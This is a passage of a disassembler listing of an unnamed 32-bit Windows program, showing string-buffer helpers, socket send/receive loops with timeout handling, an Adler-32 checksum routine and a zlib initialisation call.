		pop	ecx
		jz	short loc_40DAFC
		mov	[esi], eax


loc_40DAFC:				; CODE XREF: sub_40DADA+1Ej
		pop	esi
		retn	4
sub_40DADA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB00	proc near		; CODE XREF: sub_401918+10Dp
					; sub_407373+9p ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40DB13
		push	eax
		call	sub_40CCC5
		and	dword ptr [esi], 0
		pop	ecx


loc_40DB13:				; CODE XREF: sub_40DB00+7j
		pop	esi
		retn
sub_40DB00	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB15	proc near		; CODE XREF: sub_407119+12Bp
					; sub_407119+15Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		lea	eax, [esp+4+arg_8]
		push	eax
		push	[esp+8+arg_4]
		push	dword ptr [esi]
		call	ds:dword_418158
		mov	eax, [esi]
		pop	esi
		retn
sub_40DB15	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB2F	proc near		; CODE XREF: sub_401B3F+14p
					; sub_401B3F+27p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		test	eax, eax
		jnz	short loc_40DB39
		mov	eax, [ecx]


loc_40DB39:				; CODE XREF: sub_40DB2F+6j
		push	[esp+arg_0]
		push	eax
		call	sub_40CE77
		pop	ecx
		pop	ecx
		retn	8
sub_40DB2F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB48	proc near		; CODE XREF: sub_401A43+30p
					; sub_401AD2+6p ...
		push	esi
		mov	esi, ecx
		and	dword ptr [esi], 0
		push	1
		call	sub_40DADA
		mov	eax, esi
		pop	esi
		retn
sub_40DB48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40DB59	proc near		; CODE XREF: sub_4015F3+17p
					; sub_401AE5+6p ...
		jmp	sub_40DB00
sub_40DB59	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB5E	proc near		; CODE XREF: sub_4012E7+Dp
					; sub_401B3F+4Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jnz	short loc_40DB6C
		xor	eax, eax
		jmp	short loc_40DB9E
; ---------------------------------------------------------------------------


loc_40DB6C:				; CODE XREF: sub_40DB5E+8j
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jnz	short loc_40DB81
		push	[esp+8+arg_0]
		call	sub_40CD83
		pop	ecx
		mov	edi, eax


loc_40DB81:				; CODE XREF: sub_40DB5E+15j
		inc	edi
		push	edi
		mov	ecx, esi
		call	sub_40DADA
		test	eax, eax
		jz	short loc_40DB9D
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi]
		call	ds:dword_4180F4
		mov	eax, [esi]


loc_40DB9D:				; CODE XREF: sub_40DB5E+2Ej
		pop	edi


loc_40DB9E:				; CODE XREF: sub_40DB5E+Cj
		pop	esi
		retn	8
sub_40DB5E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DBA2	proc near		; CODE XREF: sub_401AA0+14p
					; sub_401B9A+53p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jnz	short loc_40DBB0
		xor	eax, eax
		jmp	short loc_40DBF4
; ---------------------------------------------------------------------------


loc_40DBB0:				; CODE XREF: sub_40DBA2+8j
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jnz	short loc_40DBC5
		push	[esp+8+arg_0]
		call	sub_40CD83
		pop	ecx
		mov	edi, eax


loc_40DBC5:				; CODE XREF: sub_40DBA2+15j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40DBD2
		push	eax
		call	sub_40CD83
		pop	ecx


loc_40DBD2:				; CODE XREF: sub_40DBA2+27j
		lea	eax, [eax+edi+1]
		push	eax
		mov	ecx, esi
		call	sub_40DADA
		test	eax, eax
		jz	short loc_40DBF3
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi]
		call	sub_40CDE5
		mov	eax, [esi]
		add	esp, 0Ch


loc_40DBF3:				; CODE XREF: sub_40DBA2+3Ej
		pop	edi


loc_40DBF4:				; CODE XREF: sub_40DBA2+Cj
		pop	esi
		retn	8
sub_40DBA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DBF8	proc near		; CODE XREF: sub_4036C6+43p
					; sub_4036C6+57p ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	offset aD	; "%d"
		push	eax
		mov	esi, ecx
		call	sub_40CE18
		add	esp, 0Ch
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, esi
		call	sub_40DBA2
		pop	esi
		leave
		retn	4
sub_40DBF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DC27	proc near		; CODE XREF: sub_404905+26p
					; sub_40DC39+Ap ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40DB00
		mov	eax, [esp+4+arg_0]
		mov	[esi], eax
		pop	esi
		retn	4
sub_40DC27	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DC39	proc near		; CODE XREF: sub_401B9A+7Bp
					; sub_4022BE+6Dp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax]
		and	dword ptr [eax], 0
		push	edx
		call	sub_40DC27
		retn	4
sub_40DC39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC4B	proc near		; CODE XREF: sub_402624+18Fp

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		push	[ebp+arg_4]
		mov	edi, ecx
		mov	eax, [edi]
		push	eax
		mov	[ebp+var_1], 0
		call	sub_40CE77
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_40DCC9
		push	esi
		push	[ebp+arg_8]
		mov	ecx, edi
		call	sub_40DB2F
		test	eax, eax
		mov	[ebp+arg_8], eax
		jz	short loc_40DCC9
		lea	ecx, [ebp+arg_4]
		call	sub_40DB48
		mov	eax, [edi]
		sub	esi, eax
		push	esi
		push	eax
		lea	ecx, [ebp+arg_4]
		call	sub_40DB5E
		mov	eax, [ebp+arg_0]
		push	0
		push	dword ptr [eax]
		lea	ecx, [ebp+arg_4]
		call	sub_40DBA2
		push	0
		push	[ebp+arg_8]
		lea	ecx, [ebp+arg_4]
		call	sub_40DBA2
		mov	eax, [ebp+arg_4]
		and	[ebp+arg_4], 0
		push	eax
		mov	ecx, edi
		call	sub_40DC27
		lea	ecx, [ebp+arg_4]
		mov	[ebp+var_1], 1
		call	sub_40DB00


loc_40DCC9:				; CODE XREF: sub_40DC4B+1Dj
					; sub_40DC4B+2Fj
		mov	al, [ebp+var_1]
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_40DC4B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DCD2	proc near		; CODE XREF: sub_404D27+8Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		and	dword ptr [esi], 0
		push	0
		push	dword ptr [eax]
		call	sub_40DB5E
		mov	eax, esi
		pop	esi
		retn	4
sub_40DCD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DCEB	proc near		; CODE XREF: sub_402624+2C7p
					; sub_402624+32Bp ...

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		and	dword ptr [esi], 0
		call	sub_4012E7
		mov	eax, esi
		pop	esi
		retn	4
sub_40DCEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DD00	proc near		; CODE XREF: sub_4022BE+12p
					; sub_402624+8Ep ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ecx]
		test	eax, eax
		jz	short locret_40DD78
		push	esi
		push	edi
		push	eax
		lea	ecx, [ebp+var_4]
		call	sub_40DCEB
		mov	edi, [ebp+var_4]
		push	8
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_40DD31
		and	dword ptr [eax], 0
		and	dword ptr [eax+4], 0
		mov	[ebp+var_8], eax
		jmp	short loc_40DD49
; ---------------------------------------------------------------------------


loc_40DD31:				; CODE XREF: sub_40DD00+23j
		and	[ebp+var_8], 0
		jmp	short loc_40DD49
; ---------------------------------------------------------------------------


loc_40DD37:				; CODE XREF: sub_40DD00+5Dj
		mov	byte ptr [esi],	0
		call	sub_403E90
		mov	ecx, eax
		call	sub_4012E7
		lea	edi, [esi+1]


loc_40DD49:				; CODE XREF: sub_40DD00+2Fj
					; sub_40DD00+35j
		push	edi
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_4]
		call	sub_40DB2F
		mov	ecx, [ebp+var_8]
		mov	esi, eax
		test	esi, esi
		push	edi
		jnz	short loc_40DD37
		call	sub_403E90
		mov	ecx, eax
		call	sub_4012E7
		lea	ecx, [ebp+var_4]
		call	sub_40DB00
		mov	eax, [ebp+var_8]
		pop	edi
		pop	esi

locret_40DD78:				; CODE XREF: sub_40DD00+9j
		leave
		retn	4
sub_40DD00	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DD7C	proc near		; CODE XREF: sub_401269+Fp
					; sub_405E95+15p ...
		push	esi
		push	6
		push	1
		mov	esi, ecx
		call	sub_40D737
		mov	dword ptr [esi], offset	off_41C28C
		mov	eax, esi
		pop	esi
		retn
sub_40DD7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DD92	proc near		; CODE XREF: sub_4067A5+5Fp
					; sub_40B1CC+5Bp ...
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41C28C
		call	sub_40D665
		test	al, al
		jz	short loc_40DDAD
		push	1
		mov	ecx, esi
		call	sub_40D9D5


loc_40DDAD:				; CODE XREF: sub_40DD92+10j
		mov	ecx, esi
		pop	esi
		jmp	sub_40DA75
sub_40DD92	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DDB5	proc near		; CODE XREF: sub_4067A5+31p
					; sub_40B1CC+37p
					; DATA XREF: ...

var_1018	= dword	ptr -1018h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1018h
		call	sub_4011B0
		mov	eax, [ebp+arg_0]
		push	ebx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		xor	ebx, ebx
		cmp	eax, ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	[ebp+var_4], ebx
		jnz	short loc_40DDE2
		mov	[ebp+arg_8], 1Eh
		jmp	short loc_40DDE7
; ---------------------------------------------------------------------------


loc_40DDE2:				; CODE XREF: sub_40DDB5+22j
		mov	eax, [eax]
		mov	[ebp+arg_8], eax


loc_40DDE7:				; CODE XREF: sub_40DDB5+2Bj
		mov	esi, [edi+4]
		mov	eax, [ebp+arg_8]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jle	short loc_40DE65


loc_40DDF5:				; CODE XREF: sub_40DDB5+AEj
		mov	eax, [ebp+arg_4]
		sub	eax, [ebp+var_4]
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jle	short loc_40DE65
		lea	eax, [ebp+var_1018]
		push	eax
		mov	ecx, edi
		mov	[ebp+var_14], 1
		mov	[ebp+var_10], ebx
		mov	[ebp+var_1018],	ebx
		call	sub_40D686
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_1018]
		push	eax
		push	eax
		push	ebx
		push	esi
		call	ds:dword_4181A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40DE6F
		cmp	eax, ebx
		jz	short loc_40DE5D
		push	ebx
		push	[ebp+var_C]
		mov	ecx, edi
		push	[ebp+var_8]
		call	sub_40D80F
		cmp	eax, ebx
		jle	short loc_40DE78
		add	[ebp+var_8], eax
		add	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+arg_0], eax
		jmp	short loc_40DE60
; ---------------------------------------------------------------------------


loc_40DE5D:				; CODE XREF: sub_40DDB5+86j
		dec	[ebp+arg_0]


loc_40DE60:				; CODE XREF: sub_40DDB5+A6j
		cmp	[ebp+arg_0], ebx
		jg	short loc_40DDF5


loc_40DE65:				; CODE XREF: sub_40DDB5+3Ej
					; sub_40DDB5+4Bj
		mov	eax, [ebp+var_4]


loc_40DE68:				; CODE XREF: sub_40DDB5+C6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40DE6F:				; CODE XREF: sub_40DDB5+82j
		push	1
		mov	ecx, edi
		call	sub_40D66F


loc_40DE78:				; CODE XREF: sub_40DDB5+98j
		or	eax, 0FFFFFFFFh
		jmp	short loc_40DE68
sub_40DDB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DE7D	proc near		; CODE XREF: sub_4067A5+4Ap
					; DATA XREF: .rdata:0041C290o

var_101C	= dword	ptr -101Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 101Ch
		call	sub_4011B0
		mov	eax, [ebp+arg_0]
		push	ebx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_8]
		xor	ebx, ebx
		cmp	eax, ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	[ebp+arg_0], ebx
		jnz	short loc_40DEAA
		mov	[ebp+var_8], 1
		jmp	short loc_40DEAF
; ---------------------------------------------------------------------------


loc_40DEAA:				; CODE XREF: sub_40DE7D+22j
		mov	eax, [eax]
		mov	[ebp+var_8], eax


loc_40DEAF:				; CODE XREF: sub_40DE7D+2Bj
		mov	esi, [edi+4]
		mov	eax, [ebp+var_8]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jle	short loc_40DF2D


loc_40DEBD:				; CODE XREF: sub_40DE7D+AEj
		mov	eax, [ebp+arg_4]
		sub	eax, [ebp+arg_0]
		cmp	eax, ebx
		mov	[ebp+var_10], eax
		jle	short loc_40DF2D
		lea	eax, [ebp+var_101C]
		push	eax
		mov	ecx, edi
		mov	[ebp+var_18], 1
		mov	[ebp+var_14], ebx
		mov	[ebp+var_101C],	ebx
		call	sub_40D686
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_101C]
		push	eax
		push	ebx
		push	eax
		push	esi
		call	ds:dword_4181A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40DF45
		cmp	eax, ebx
		jz	short loc_40DF25
		push	ebx
		push	[ebp+var_10]
		mov	ecx, edi
		push	[ebp+var_C]
		call	sub_40D876
		cmp	eax, ebx
		jle	short loc_40DF37
		add	[ebp+var_C], eax
		add	[ebp+arg_0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jmp	short loc_40DF28
; ---------------------------------------------------------------------------


loc_40DF25:				; CODE XREF: sub_40DE7D+86j
		dec	[ebp+var_4]


loc_40DF28:				; CODE XREF: sub_40DE7D+A6j
		cmp	[ebp+var_4], ebx
		jg	short loc_40DEBD


loc_40DF2D:				; CODE XREF: sub_40DE7D+3Ej
					; sub_40DE7D+4Bj ...
		mov	eax, [ebp+arg_0]


loc_40DF30:				; CODE XREF: sub_40DE7D+D4j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40DF37:				; CODE XREF: sub_40DE7D+98j
		jnz	short loc_40DF4E
		mov	eax, [ebp+arg_8]
		cmp	eax, ebx
		jz	short loc_40DF2D
		or	dword ptr [eax], 0FFFFFFFFh
		jmp	short loc_40DF2D
; ---------------------------------------------------------------------------


loc_40DF45:				; CODE XREF: sub_40DE7D+82j
		push	1
		mov	ecx, edi
		call	sub_40D66F


loc_40DF4E:				; CODE XREF: sub_40DE7D:loc_40DF37j
		or	eax, 0FFFFFFFFh
		jmp	short loc_40DF30
sub_40DE7D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DF53	proc near		; CODE XREF: sub_40DF85+63p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40D767
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40DF7F
		push	0Ch
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_40DF7F
		mov	[eax+4], esi
		mov	dword ptr [eax], offset	off_41C28C
		jmp	short loc_40DF81
; ---------------------------------------------------------------------------


loc_40DF7F:				; CODE XREF: sub_40DF53+13j
					; sub_40DF53+1Fj
		xor	eax, eax


loc_40DF81:				; CODE XREF: sub_40DF53+2Aj
		pop	esi
		retn	8
sub_40DF53	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DF85	proc near		; CODE XREF: sub_40694B+91p
					; sub_40B29D+6Fp ...

var_100C	= dword	ptr -100Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_4011B0
		mov	eax, [ebp+arg_0]
		and	[ebp+var_4], 0
		and	[ebp+var_100C],	0
		push	esi
		mov	[ebp+var_8], eax
		push	edi
		lea	eax, [ebp+var_100C]
		push	eax
		mov	esi, ecx
		call	sub_40D686
		mov	eax, [esi+4]
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_100C]
		push	ecx
		push	0
		push	ecx
		inc	eax
		push	eax
		call	ds:dword_4181A4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		setz	al
		mov	ecx, esi
		push	eax
		call	sub_40D66F
		test	edi, edi
		jle	short loc_40DFEF
		push	[ebp+arg_8]
		mov	ecx, esi
		push	[ebp+arg_4]
		call	sub_40DF53
		jmp	short loc_40DFF1
; ---------------------------------------------------------------------------


loc_40DFEF:				; CODE XREF: sub_40DF85+59j
		xor	eax, eax


loc_40DFF1:				; CODE XREF: sub_40DF85+68j
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_40DF85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFF7	proc near		; CODE XREF: sub_40123F+20p
					; sub_405E95+40p ...

var_100C	= dword	ptr -100Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_4011B0
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		xor	ebx, ebx
		inc	ebx
		push	0
		inc	esi
		call	sub_40DA13
		push	[ebp+arg_0]
		mov	ecx, edi
		call	sub_40D7BB
		test	eax, eax
		jz	short loc_40E07E
		mov	eax, [edi+8]
		cmp	eax, 2733h
		jz	short loc_40E03B
		cmp	eax, 2734h
		jz	short loc_40E03B
		or	ebx, 0FFFFFFFFh
		jmp	short loc_40E07E
; ---------------------------------------------------------------------------


loc_40E03B:				; CODE XREF: sub_40DFF7+36j
					; sub_40DFF7+3Dj
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_100C]
		xor	ebx, ebx
		push	eax
		mov	ecx, edi
		mov	[ebp+var_4], ebx
		mov	[ebp+var_100C],	ebx
		call	sub_40D686
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	eax
		push	ebx
		push	esi
		call	ds:dword_4181A4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		setz	al
		mov	ecx, edi
		push	eax
		call	sub_40D66F


loc_40E07E:				; CODE XREF: sub_40DFF7+2Cj
					; sub_40DFF7+42j
		push	1
		mov	ecx, edi
		call	sub_40DA13
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn	8
sub_40DFF7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E090	proc near		; DATA XREF: .rdata:off_41C28Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40DD92
		test	[esp+4+arg_0], 1
		jz	short loc_40E0A6
		push	esi
		call	sub_40D0B6
		pop	ecx


loc_40E0A6:				; CODE XREF: sub_40E090+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_40E090	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E0AC	proc near		; CODE XREF: sub_40BBB5+5Ep
					; sub_41634A+39p ...
		push	esi
		push	11h
		push	2
		mov	esi, ecx
		call	sub_40D737
		mov	dword ptr [esi], offset	off_41C128
		mov	eax, esi
		pop	esi
		retn
sub_40E0AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E0C2	proc near		; DATA XREF: .rdata:0041C12Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40D876
		retn	0Ch
sub_40E0C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E0D4	proc near		; DATA XREF: .rdata:0041C130o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40D80F
		retn	0Ch
sub_40E0D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0E6	proc near		; CODE XREF: sub_40E674+2F6p
					; sub_40F0DD+D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		xor	eax, eax
		mov	edi, esi
		inc	eax
		shr	edi, 10h
		and	esi, 0FFFFh
		cmp	ebx, eax
		jnz	short loc_40E128
		mov	eax, [ebp+arg_4]
		movzx	eax, byte ptr [eax]
		add	esi, eax
		mov	eax, 0FFF1h
		cmp	esi, eax
		jb	short loc_40E117
		sub	esi, eax


loc_40E117:				; CODE XREF: sub_40E0E6+2Dj
		add	edi, esi
		cmp	edi, eax
		jb	loc_40E2FA
		sub	edi, eax
		jmp	loc_40E2FA
; ---------------------------------------------------------------------------


loc_40E128:				; CODE XREF: sub_40E0E6+1Cj
		mov	ecx, [ebp+arg_4]
		test	ecx, ecx
		jz	loc_40E301
		cmp	ebx, 10h
		jb	loc_40E2BD
		cmp	ebx, 15B0h
		jb	loc_40E210
		mov	eax, ebx
		mov	ebx, 15B0h
		xor	edx, edx
		div	ebx
		mov	ebx, [ebp+arg_8]
		mov	[ebp+arg_0], eax


loc_40E159:				; CODE XREF: sub_40E0E6+124j
		sub	ebx, 15B0h
		mov	eax, 15Bh


loc_40E164:				; CODE XREF: sub_40E0E6+101j
		movzx	edx, byte ptr [ecx]
		add	esi, edx
		movzx	edx, byte ptr [ecx+1]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+2]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+3]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+4]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+5]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+6]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+7]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+8]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+9]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+0Ah]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+0Bh]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+0Ch]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+0Dh]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+0Eh]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+0Fh]
		add	edi, esi
		add	esi, edx
		add	edi, esi
		add	ecx, 10h
		dec	eax
		jnz	loc_40E164
		mov	eax, esi
		xor	edx, edx
		mov	esi, 0FFF1h
		div	esi
		mov	eax, edi
		mov	edi, 0FFF1h
		mov	esi, edx
		xor	edx, edx
		div	edi
		dec	[ebp+arg_0]
		mov	edi, edx
		jnz	loc_40E159


loc_40E210:				; CODE XREF: sub_40E0E6+5Cj
		test	ebx, ebx
		jz	loc_40E2FA
		cmp	ebx, 10h
		jb	loc_40E2DF
		mov	eax, ebx
		shr	eax, 4


loc_40E226:				; CODE XREF: sub_40E0E6+1C6j
		movzx	edx, byte ptr [ecx]
		add	esi, edx
		movzx	edx, byte ptr [ecx+1]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+2]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+3]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+4]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+5]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+6]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+7]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+8]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+9]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+0Ah]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+0Bh]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+0Ch]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+0Dh]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+0Eh]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+0Fh]
		add	edi, esi
		add	esi, edx
		sub	ebx, 10h
		add	edi, esi
		add	ecx, 10h
		dec	eax
		jnz	loc_40E226
		jmp	short loc_40E2DF
; ---------------------------------------------------------------------------


loc_40E2B4:				; CODE XREF: sub_40E0E6+1D9j
		movzx	eax, byte ptr [ecx]
		dec	ebx
		add	esi, eax
		inc	ecx
		add	edi, esi


loc_40E2BD:				; CODE XREF: sub_40E0E6+50j
		test	ebx, ebx
		jnz	short loc_40E2B4
		mov	ecx, 0FFF1h
		cmp	esi, ecx
		jb	short loc_40E2CC
		sub	esi, ecx


loc_40E2CC:				; CODE XREF: sub_40E0E6+1E2j
		mov	eax, edi
		xor	edx, edx
		div	ecx
		mov	eax, edx
		jmp	short loc_40E2FC
; ---------------------------------------------------------------------------


loc_40E2D6:				; CODE XREF: sub_40E0E6+1FBj
		movzx	eax, byte ptr [ecx]
		dec	ebx
		add	esi, eax
		inc	ecx
		add	edi, esi


loc_40E2DF:				; CODE XREF: sub_40E0E6+135j
					; sub_40E0E6+1CCj
		test	ebx, ebx
		jnz	short loc_40E2D6
		mov	eax, esi
		mov	ecx, 0FFF1h
		xor	edx, edx
		mov	esi, ecx
		div	esi
		mov	eax, edi
		mov	esi, edx
		xor	edx, edx
		div	ecx
		mov	edi, edx


loc_40E2FA:				; CODE XREF: sub_40E0E6+35j
					; sub_40E0E6+3Dj ...
		mov	eax, edi


loc_40E2FC:				; CODE XREF: sub_40E0E6+1EEj
		shl	eax, 10h
		or	eax, esi


loc_40E301:				; CODE XREF: sub_40E0E6+47j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40E0E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E306	proc near		; CODE XREF: sub_404355+28p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		mov	eax, [ebp+arg_8]
		and	[ebp+var_18], 0
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		mov	[ebp+var_38], eax
		mov	eax, [ebp+arg_C]
		push	esi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34], eax
		mov	eax, [ebp+arg_0]
		push	38h
		mov	[ebp+var_2C], eax
		mov	eax, [esi]
		push	offset a1_2_3	; "1.2.3"
		push	[ebp+arg_10]
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_40FC5A
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40E389
		push	ebx
		lea	eax, [ebp+var_38]
		push	4
		push	eax
		call	sub_40E674
